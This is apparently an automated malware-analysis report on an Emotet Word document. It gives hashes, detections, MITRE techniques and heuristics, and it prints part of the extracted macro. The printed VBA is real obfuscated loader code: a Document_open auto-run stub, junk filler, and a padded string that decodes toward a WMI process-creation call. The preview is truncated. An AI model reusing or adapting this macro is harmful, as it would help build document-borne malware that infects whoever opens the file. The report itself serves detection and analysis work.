Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 50438f82b1f9628b…

MALICIOUS

Office (OLE)

172.5 KB Created: 2020-08-31 14:43:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: b89b1f9ef9b1cac4e0fa4491e35fc859 SHA-1: c6b8977d4ae0c88bd384e58f0b37c70f989ee29c SHA-256: 50438f82b1f9628b3b1648e8234637a9a1207ab79e300812afd250fd4de49292
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an Office document with a high-confidence detection for VBA macros, specifically a Document_Open auto-execution macro. ClamAV identifies it as Doc.Downloader.Emotet-9617440-0, a known downloader family. The VBA code, though obfuscated, uses CreateObject, a common technique for launching malicious payloads, indicating it likely downloads and executes a secondary payload.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-9617440-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9617440-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14257 bytes
SHA-256: ee1e42a03fedcde7046383082ee73331d3c0cc0295467946c7c87c4fcdc0de28
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Y8qz6fiyqeljk4hlu"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Jow1adolboytc3t.A6ks36ey2wemu38
End Sub


Attribute VB_Name = "Jow1adolboytc3t"
Attribute VB_Base = "0{A9EEFE66-FBFD-4B09-8234-FF92937A57AF}{B5C805F0-D646-406A-87F3-F7E3E67F1E5E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function A6ks36ey2wemu38()
   On Error Resume Next
      For Each WaPqNP In LLtF04OO
         BUC = nJqv * Fix(73001594 + Int(645) - qbqWk9n + Sgn(5)) - (652 / jhweg6 / 66 + CLng(PNHv0o5T))
      Next
      PqFz = Chr(sjXLUQ5)
      Set tOzWCvc = Emn4rk9qhqa
      If bhfx <> BMas Then
         VPsPb9 = 8
      End If
      For Each TZv In XGs
         YGg = (1 - Log(642) * 4 + CSng(JhEV7E67P / NOXP9615 + 9899 - Sqr(nRGPe + zhzJ210j)) - 44 - HTq * QvVium99 - Cos(LATb5 + UDj))
      Next
      SWVF21hU = 190254234 / ECYP
Xpsxudcppf2etibx9 = 100
   On Error Resume Next
      For Each WaPqNP In LLtF04OO
         BUC = nJqv * Fix(73001594 + Int(645) - qbqWk9n + Sgn(5)) - (652 / jhweg6 / 66 + CLng(PNHv0o5T))
      Next
      PqFz = Chr(sjXLUQ5)
      Set tOzWCvc = Z83jy7i6jnbichcn
      If bhfx <> BMas Then
         VPsPb9 = 8
      End If
      For Each TZv In XGs
         YGg = (1 - Log(642) * 4 + CSng(JhEV7E67P / NOXP9615 + 9899 - Sqr(nRGPe + zhzJ210j)) - 44 - HTq * QvVium99 - Cos(LATb5 + UDj))
      Next
      SWVF21hU = 190254234 / ECYP
Y1lul1vrknjr24ui6 = ChrW(Xpsxudcppf2etibx9 + (dccc + 5 + fbbf + 10))
   On Error Resume Next
      For Each WaPqNP In LLtF04OO
         BUC = nJqv * Fix(73001594 + Int(645) - qbqWk9n + Sgn(5)) - (652 / jhweg6 / 66 + CLng(PNHv0o5T))
      Next
      PqFz = Chr(sjXLUQ5)
      Set tOzWCvc = Hrr7cc04m_2blw_
      If bhfx <> BMas Then
         VPsPb9 = 8
      End If
      For Each TZv In XGs
         YGg = (1 - Log(642) * 4 + CSng(JhEV7E67P / NOXP9615 + 9899 - Sqr(nRGPe + zhzJ210j)) - 44 - HTq * QvVium99 - Cos(LATb5 + UDj))
      Next
      SWVF21hU = 190254234 / ECYP
Ehw920bhepi2_1kbug = "1x())))(h s22(7 d2ddd24((s2J1x())))(h s22(7 d2ddd24((s2Jw1x())))(h s22(7 d2ddd24((s2Ji1x())))(h s22(7 d2ddd24((s2Jnm1x())))(h s22(7 d2ddd24((s2J1x())))(h s22(7 d2ddd24((s2Jgm1x())))(h s22(7 d2ddd24((s2Jt1x())))(h s22(7 d2ddd24((s2J1x())))(h s22(7 d2ddd24((s2J" + Y1lul1vrknjr24ui6 + "1x())))(h s22(7 d2ddd24((s2J1x())))(h s22(7 d2ddd24((s2J:1x())))(h s22(7 d2ddd24((s2Jw1x())))(h s22(7 d2ddd24((s2Jin1x())))(h s22(7 d2ddd24((s2J1x())))(h s22(7 d2ddd24((s2J31x())))(h s22(7 d2ddd24((s2J21x())))(h s22(7 d2ddd24((s2J_1x())))(h s22(7 d2ddd24((s2J" + Jow1adolboytc3t.A_rxpmyhdptpz9o + "1x())))(h s22(7 d2ddd24((s2Jro1x())))(h s22(7 d2ddd24((s2J1x())))(h s22(7 d2ddd24((s2Jce1x())))(h s22(7 d2ddd24((s2Js1x())))(h s22(7 d2ddd24((s2Js1x())))(h s22(7 d2ddd24((s2J"
   On Error Resume Next
      For Each WaPqNP In LLtF04OO
         BUC = nJqv * Fix(73001594 + Int(645) - qbqWk9n + Sgn(5)) - (652 / jhweg6 / 66 + CLng(PNHv0o5T))
      Next
      PqFz = Chr(sjXLUQ5)
      Set tOzWCvc = Bfael2hors9
      If bhfx <> BMas Then
         VPsPb9 = 8
      End If
      For Each TZv In XGs
         YGg = (1 - Log(642) * 4 + CSng(JhEV7E67P / NOXP9615 + 9899 - Sqr(nRGPe + zhzJ210j)) - 44 - HTq * QvVium99 - Cos(LATb5 + UDj))
      Next
      SWVF21hU = 190254234 / ECYP
M52o9z2qvn7_i8 = Hf7kver7y4o2r7h8(Ehw920bhepi2_1kbug)
   On Error Resume Next
      For Each WaPqNP In LLtF04OO
         BUC = nJqv * Fix(73001594 + Int(645) - qbqWk9n + Sgn(5)) - (652 / jhweg6 / 66 + CLng(PNHv0o5T))
      Next
      PqFz = Chr(sjXLUQ5)
      Set tOzWCvc = Ud84hhb7sqyabx
      If bhfx <> BMas Then
         VPsPb9 = 8
      End If
      For Each TZv In XGs
         YGg = (1 - Log(642) * 4 + CSn
... (truncated)